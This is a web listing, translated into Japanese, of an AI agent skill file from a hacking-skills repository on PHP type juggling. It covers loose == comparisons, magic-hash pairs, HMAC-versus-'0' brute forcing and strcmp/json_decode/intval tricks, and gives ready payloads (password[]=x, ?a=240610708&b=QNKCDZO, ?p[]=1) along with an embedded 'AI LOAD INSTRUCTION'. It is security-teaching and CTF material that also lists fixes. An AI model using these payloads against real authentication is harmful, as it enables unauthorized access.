type-juggling
PHPの型変換(type juggling)と緩い比較演算子(`==`)を悪用した認証バイパス手法です。認証処理・HMAC/署名検証・トークン検証などで厳密な型チェックなしに緩やかな等値比較や数値の型強制、ハッシュ比較が使われている場合に活用します。レガシーPHPやCTF問題に頻出するコードパスで特に有効です。
description の原文を見る
>- PHP type juggling and weak comparison (`==`) bypass. Use when authentication, HMAC/signature checks, or token validation uses loose equality, numeric coercion, or hash comparisons without strict types — common in legacy PHP and CTF-style code paths.
SKILL.md 本文
SKILL: PHP 型の強制変換 — 弱い比較 & マジックハッシュバイパス
AI LOAD INSTRUCTION: PHP
==強制変換、マジックハッシュ (0e…)、HMAC/ハッシュの緩い比較、不正な型からの NULL、および CTF スタイルのstrcmp/json_decode/intvalトリック。厳密なルーティングを使用: シンク (==vshash_equals)、PHP メジャーバージョン、および両方のオペランドが攻撃者制御可能かどうかを マップします。ルーティングメモ: PHP ログイン/署名ロジックまたはmd5($_GET['x'])==md5($_GET['y'])のようなコードを見かけたら、このスキルで開始してください。hash_equals/===が既に使用されている場合、このパスは通常適用されません。
0. クイックスタート
最初のパス目標: サーバーが異なるシークレット/トークンを強制変換を通じて等しいものとして扱っていることを証明する。実際のパスワードを推測するのではなく。
最初のパスペイロード (認証 / トークン形状)
password[]=x
password=
0
0e12345
240610708
QNKCDZO
true
[]
{"password":true}
admin%00
最小限の PHP プローブ (ローカルまたはラボで php -r)
<?php
// 緩い比較プローブ — 可能な限りターゲット PHP メジャーバージョンで実行
var_dump('0e123' == '0e999');
var_dump('123a' == 123);
var_dump(md5('240610708') == md5('QNKCDZO'));
ルーティングヒント
| 手がかり | 次のステップ |
|---|---|
ソースコードがパスワード、トークン、または HMAC 値の比較に == を使用 | セクション 1-3 へ |
md5($a) == md5($b) またはルーズな sha1 比較 | セクション 2 マジックハッシュ |
hash_hmac(...) != '0' または "0" と比較 | セクション 3 |
strcmp、json_decode(..., true)、intval | セクション 5 |
1. 緩い比較 (==) — 真理値表 & バージョン
PHP は === または hash_equals() をシークレット用に使用しない限り、型の強制変換でオペランドを比較します。
1.1 コア例 (文字列 vs 数値)
| 式 | 結果 | メカニズム (短縮版) |
|---|---|---|
'0010e2' == '1e3' | true | 両方の文字列が数値に見える → 浮動小数点数として比較; 両方とも 1000.0 として解析 (ゼロではない — よくある試験トラップ; 両方ゼロの場合は次の行を参照) |
'0e462097431906509019562988736854' == '0e830400451993494058024219903391' | true | 両方とも科学記法で 0.0 として解析 |
'123a' == 123 | true | 文字列から int へキャスト; 最初の非数字で停止 → 123 |
'abc' == 0 | true (PHP 7.x 以前) | int と比較された非数値文字列 → 文字列が 0 になる |
'' == 0 | true | 空文字列 → 0 |
'' == false | true | 両方の緩いルールで "falsy" |
false == NULL | true | 緩い等価性 |
0 == false | true | 緩い等価性 |
'' == 0 == false == NULL | true (チェーン) | 各隣接ペアが == で true (''==0, 0==false, false==NULL) — 古典的な "falsy" チェーン |
'0' == false | true | 文字列 '0' は、ブール値 false と比較して == とする 唯一の 空でない文字列 |
'php' == 0 | false (PHP 8+) | PHP 8: 非数値文字列は もう 0 と等しくない |
1.2 PHP 5 vs 7 vs 8 (高シグナルデルタ)
| トピック | PHP 5.x / 7.x (典型) | PHP 8.0+ |
|---|---|---|
0 == "foo" | true (文字列 → 0) | false |
"123a" の文字列から数値へ | 多くの == パスで (int) / 数値比較に対してまだトランケート | 数値文字列に同じアイデア; 非数値 vs int は上記のように修正 |
md5([]) / sha1([]) | 古いパターンで警告 / NULL のような動作 | TypeError 間違った型に — 古典的な [] トリックを殺す (エラーハンドリングが NULL に崩壊しない限り) |
テストの重要ポイント: 常に PHP バージョン をヘッダー、X-Powered-By、またはフィンガープリントから注記してください; PHP 7 で機能するペイロードは PHP 8 で失敗する場合があります。
1.3 安全な代替案 (防御 / 検証)
hash_equals((string)$expected, (string)$actual); // タイミングセーフ、厳密な文字列
// または
$expected === $actual;
2. マジックハッシュ (0e… + 数字のみ)
両側が 16進法に見えるハッシュ文字列 で ^0e[0-9]+$ にマッチするとき、PHP はそれらを 科学記法の浮動小数点数 として扱う → 値 0.0。その後、md5(A) == md5(B) は文字列として異なるダイジェストであっても true です。
2.1 参照テーブル (MD5 / SHA-1 および長いアルゴリズム)
| アルゴリズム | 入力例 | ダイジェスト (0e + すべて10進数字で開始) |
|---|---|---|
| MD5 | 240610708 | 0e462097431906509019562988736854 |
| MD5 | QNKCDZO | 0e830400451993494058024219903391 |
| SHA-1 | 10932435112 | 0e07766915004133176347055865026311692244 |
| SHA-224 | (ブルートフォース / 事前計算) | 例形式: 0e + 10進数字のみ → 別のそのような文字列との == は true |
| SHA-256 | (ブルートフォース / 事前計算) | 同じパターン: ^0e\d+$ にマッチする文字列のみが == で衝突 |
なぜ機能するか: md5('240610708') == md5('QNKCDZO') → 両側が ^0e[0-9]+$ にマッチ → 両方とも 0.0 == 0.0 として解釈 → true。
2.2 コード内の悪用パターン
if (md5($_GET['a']) == md5($_GET['b']) && $_GET['a'] != $_GET['b']) {
// 意図: 異なる文字列、同じ md5 (md5 では不可能)
// 実際: 両方のダイジェストがマジックハッシュである 2 つの異なる文字列
}
2.3 ペイロードスケッチ (ペア探索)
?a=240610708&b=QNKCDZO
SHA-224/256 の場合、検索問題として扱う: ダイジェストが ^0e\d+$ にマッチするまで入力をブルートフォース; 2 つの異なる入力をペアにします。長いハッシュ = より難しい; MD5/SHA1 の例は通常の教学セットです。
3. HMAC バイパス (ルーズな比較 vs "0" または 0)
ロジックが定数に対して ルーズな 不等式を使用する場合:
if (hash_hmac('md5', $data, $key) != '0') { /* ok */ }
// または == 0, == false with string "0e...", etc.
ブルートフォース $data (例: タイムスタンプ、nonce、カウンター) を hash_hmac 出力が ^0e[0-9]+$ にマッチするまで (MD5 出力の場合) またはコードの特定のルーズルール — その後ハッシュは 0 または == の下の別のマジックダイジェストに等しくなる可能性があります。
例 (数値メッセージの MD5 スタイル 0e ダイジェスト)
| コンセプト | 例 |
|---|---|
| メッセージタイプ | Unix タイムスタンプ、増分 id、ミリ秒時計 |
| タイムスタンプブルートフォースパターン | チュートリアルは時々 1539805986 → 0e772967136366835494939987377058 を マジックハッシュスタイル例として引用します; md5('1539805986') はストック PHP でそのダイジェストを生成しません — アイデアを使用 (タイムスタンプ / カウンターをスキャン、出力が ^0e[0-9]+$ にマッチするまで) し、常に正確な関数 + キー に対してターゲットコードで検証します。 |
| 目標 | hash_hmac('md5', $data, $key) が ^0e[0-9]+$ にマッチするような $data を見つけます |
| 注記 | $key を知らずに、アルゴリズム/出力がオラクルで見える場合、$data をブルートフォース可能; CTF はしばしば キーをリークまたは修正 |
# 概念的: 多くのタイムスタンプを試す
for t in range(T0, T1):
if re.fullmatch(r'0e\d+', hmac_md5(str(t), key)):
use t
軽減策: hash_equals($mac, $expected) + 固定長の16進/バイナリエンコーディング; 裸の "0" に HMAC を比較しません。
4. NULL 強制変換 (配列 & 型エラー)
無効な型は比較側で NULL をもたらす可能性があります; 別の NULL または強制変換された値への緩い等価性は合格する場合があります。
| 呼び出し | 典型的な PHP 7/8 の動作 |
|---|---|
md5([]) | PHP 8: TypeError; 古い: バージョン全体で警告 / 信頼できない |
sha1([]) | 同じ |
| アイデア | エラーハンドラーまたはカスタムラッパーが失敗を NULL に変換する場合、NULL == NULL または NULL == sha1("x") (別の側も NULL の場合) |
// CTF / 破損したコードの精神モデル:
@sha1($_GET['x']) == @sha1($_GET['y']); // 両方がエラーで NULL になった場合 → true
実際の監査: @、NULL に設定するカスタム try/catch、または文字列が必須の場所に渡されたユーザー入力を探します。
5. CTF パターン
5.1 strcmp / strcasecmp と配列
strcmp([], "password"); // PHP 7/8 で NULL (無効な引数)
// NULL == 0 → コードが以下を実行する場合、緩い比較で true:
if (strcmp($_GET['p'], $secret) == 0)
ペイロード:
?p[]=1
5.2 intval バイパス
// 16進: ベース 0 は PHP に 0x プレフィックスを解釈させます (バージョン依存; 常に検証)
intval("0x1A", 0); // → 26
// 8進: 先頭の 0 はベース 0 で8進として解析される可能性があります
intval("010", 0); // → 8 (古典的な教学例; ターゲット PHP で確認)
// 科学記法: intval() 単独は 'e' で停止; 最初に浮動小数点でキャスト
intval((float) "1e2"); // → 100
?id=0x1A
?id=010
?id=1e2
5.3 json_decode + true による連想配列認証
{"password": true}
$j = json_decode($input, true);
if ($j['password'] == $stored_string) // true == "nonempty" はしばしば true — PHP 緩いルール参照
5.4 is_numeric + 緩い比較
is_numeric("0e12345"); // true
"0e12345" == 0; // true (科学記法 → 0.0)
5.5 逆シリアル化 + マジックプロパティ
ユーザー入力をオブジェクトに逆シリアル化します。その __toString またはプロパティが md5($obj) または緩い比較に供給される — マジックハッシュ文字列と組み合わせプロパティ (CTF)。unserialize($_…) をハッシュの == の近くで探します。
6. 決定木
+------------------+
| PHP 緩い比較 |
| またはハッシュ |
| == ハッシュ? |
+--------+---------+
|
+-------------+-------------+
| |
+------v------+ +------v------+
| === または | | == または |
| hash_equals | | strcmp == 0 |
| を使用 | +------+-------+
+------+------+ |
| +-----v-----+
STOP (可能性) | オペランド|
| 型? |
+-----+-----+
+--------------+---+--------------+
| | |
+------v------+ +-----v-----+ +-------v--------+
| 両方とも数値| | 1つは int &| | ハッシュダイジ|
| 文字列 0e… | | 1つは文字 | | ェスト両方 |
+------+------+ | 列 | | 0e\d+ ? |
| +-----+-----+ +-------+--------+
マジック 文字列/整数 マジック
ハッシュ 強制変換 ハッシュ
衝突 | (md5/sha1/…)
| | |
+------+-------+------------------+
|
+------v------+
| HMAC / MAC |
| vs "0" |
+------+------+
|
brute $data
for 0e… digest
|
+------v------+
| 配列 / |
| json true / |
| strcmp([]) |
+-------------+
ツール参照
| ツール | 用途 |
|---|---|
ローカル php CLI | ターゲットメジャーバージョンの == 動作を再現 |
| 静的コードレビュー | 暗号出力の ==、!= をグリップ; hash_equals の欠落を検出 |
| CTF フレームワーク | マジックハッシュおよび 0e 検索のペイロードジェネレータ |
安全性 & スコープ: 認可されたターゲット (CTF、ラボ、書面による許可) でのみ使用してください。このスキルは防御と評価のための 言語セマンティクス を説明します — 同意なしにシステムを攻撃するライセンスではありません。
ライセンス: MIT(寛容ライセンスのため全文を引用しています) · 原本リポジトリ
詳細情報
- 作者
- yaklang
- リポジトリ
- yaklang/hack-skills
- ライセンス
- MIT
- 最終更新
- 不明
Source: https://github.com/yaklang/hack-skills / ライセンス: MIT
関連スキル
superfluid
Superfluidプロトコルおよびそのエコシステムに関するナレッジベースです。Superfluidについて情報を検索する際は、ウェブ検索の前にこちらを参照してください。対応キーワード:Superfluid、CFA、GDA、Super App、Super Token、stream、flow rate、real-time balance、pool(member/distributor)、IDA、sentinels、liquidation、TOGA、@sfpro/sdk、semantic money、yellowpaper、whitepaper
civ-finish-quotes
実質的なタスクが真に完了した際に、文明風の儀式的な引用句を追加します。ユーザーやエージェントが機能追加、リファクタリング、分析、設計ドキュメント、プロセス改善、レポート、執筆タスクといった実際の成果物を完成させるときに、明示的な依頼がなくても使用します。短い返信や小さな修正、未完成の作業には適用しません。
nookplot
Base(Ethereum L2)上のAIエージェント向け分散型調整ネットワークです。エージェントがオンチェーンアイデンティティを登録する、コンテンツを公開する、他のエージェントにメッセージを送る、マーケットプレイスで専門家を雇う、バウンティを投稿・請求する、レピュテーションを構築する、共有プロジェクトで協業する、リサーチチャレンジを解くことでNOOKをマイニングする、キュレーションされたナレッジを備えたスタンドアロンオンチェーンエージェントをデプロイする、またはアグリーメントとリワードで収益を得る場合に利用できます。エージェントネットワーク、エージェント調整、分散型エージェント、NOOKトークン、マイニングチャレンジ、ナレッジバンドル、エージェントレピュテーション、エージェントマーケットプレイス、ERC-2771メタトランザクション、Prepare-Sign-Relay、AgentFactory、またはNookplotが言及された場合にトリガーされます。
web3-polymarket
Polygon上でのPolymarket予測市場取引統合です。認証機能(L1 EIP-712、L2 HMAC-SHA256、ビルダーヘッダー)、注文発注(GTC/GTD/FOK/FAK、バッチ、ポストオンリー、ハートビート)、市場データ(Gamma API、Data API、オーダーブック、サブグラフ)、WebSocketストリーミング(市場・ユーザー・スポーツチャネル)、CTF操作(分割、統合、償却、ネガティブリスク)、ブリッジ機能(入金、出金、マルチチェーン)、およびガスレスリレイトランザクションに対応しています。AIエージェント、自動マーケットメーカー、予測市場UI、またはPolygraph上のPolymarketと統合するアプリケーション構築時に活用できます。
ethskills
Ethereum、EVM、またはブロックチェーン関連のリクエストに対応します。スマートコントラクト、dApps、ウォレット、DeFiプロトコルの構築、監査、デプロイ、インタラクションに適用されます。Solidityの開発、コントラクトアドレス、トークン規格(ERC-20、ERC-721、ERC-4626など)、Layer 2ネットワーク(Base、Arbitrum、Optimism、zkSync、Polygon)、Uniswap、Aave、Curveなどのプロトコルとの統合をカバーします。ガスコスト、コントラクトのデシマル設定、オラクルセキュリティ、リエントランシー、MEV、ブリッジング、ウォレット管理、オンチェーンデータの取得、本番環境へのデプロイ、プロトコル進化(EIPライフサイクル、フォーク追跡、今後の変更予定)といったトピックを含みます。
xxyy-trade
このスキルは、ユーザーが「トークン購入」「トークン売却」「トークンスワップ」「暗号資産取引」「取引ステータス確認」「トランザクション照会」「トークンスキャン」「フィード」「チェーン監視」「トークン照会」「トークン詳細」「トークン安全性確認」「ウォレット一覧表示」「マイウォレット」「AIスキャン」「自動スキャン」「ツイートスキャン」「オンボーディング」「IP確認」「IPホワイトリスト」「トークン発行」「自動売却」「損切り」「利益確定」「トレーリングストップ」「保有者」「トップホルダー」「KOLホルダー」などをリクエストした場合、またはSolana/ETH/BSC/BaseチェーンでXXYYを経由した取引について言及した場合に使用します。XXYY Open APIを通じてオンチェーン取引とデータ照会を実現します。